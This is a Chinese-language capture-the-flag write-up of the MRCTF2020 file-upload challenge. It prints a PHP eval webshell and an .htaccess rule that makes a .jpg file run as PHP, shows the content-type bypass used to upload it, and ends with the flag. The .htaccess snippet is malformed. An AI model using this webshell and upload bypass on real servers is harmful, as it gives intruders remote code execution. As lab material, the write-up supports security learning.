(.htaccess文件特性)[MRCTF2020]你传你呢 1

题目环境:

不难看出是一道文件上传漏洞

上传一句话木马文件

burpsuite进行抓包
<?php @eval($_POST['shell']);?>

命名为PHP文件格式

Repeater进行重放

尝试了其它后缀进行绕过都没有成功

通过 application/x-php内容类型,可以看出被识别出是PHP文件,猜测作者使用了htaccess文件更改了相关配置

了解.htaccess文件

概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名 、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

注意这几个字"改变文件扩展名",后面会用到

尝试传入jpg文件(一句话木马不变)

回显结果是否会有所不同

发现上传成功

访问上传的文件

图片加载失败

到这里猜想使用中国蚁剑是连接不成功的

不过咱们还是按照正常程序走一遍比较好

使用中国蚁剑进行连接

返回数据为空

到这里我们的一句话木马并没有被识别出来,或者说并没有执行,猜测被拦截

尝试上传更改后的.htaccess文件

上传.htaccess文件

php 复制代码
<FileMatch "1.jpg>
SetHandler application/x-httpd-php
</FileMatch>

上传的一句话木马文件要和1.jpg文件名一模一样

可以把这段代码理解为,将1.jpg文件内容当作PHP文件执行

发现被拦截了,更改内容类型为image/jpeg进行绕过

更改Content-Type内容类型为:image/jpeg

.htaccess文件上传成功

再次上传1.jpg的木马文件

上传成功

访问成功

尝试使用蚁剑进行连接

使用中国蚁剑进行连接



得到flag:
flag{11711c03-702e-43ac-b1fe-fec6c5297260}

相关推荐
绝无仅有10 分钟前
京东面试题解析:SSO、Token与Redis交互、Dubbo负载均衡等
后端·面试·github
懒惰蜗牛12 分钟前
Day44 | J.U.C中的LockSupport详解
java·开发语言·后端·java-ee
闲人编程14 分钟前
Python设计模式实战:用Pythonic的方式实现单例、工厂模式
开发语言·python·单例模式·设计模式·工厂模式·codecapsule·pythonic
Mintopia19 分钟前
🧠 Next.js 还是 Nuxt.js?——当 JavaScript 碰上命运的分叉路
前端·后端·全栈
Moniane42 分钟前
API技术深度解析:从基础原理到最佳实践
开发语言
扶苏-su1 小时前
Java---String类
java·开发语言·string类
nexttake1 小时前
5.go-zero集成gorm 和 go-redis
开发语言·后端·golang
Victor3561 小时前
Redis(84)如何解决Redis的缓存击穿问题?
后端
Victor3561 小时前
Redis(85)Redis缓存与Memcached缓存有何区别?
后端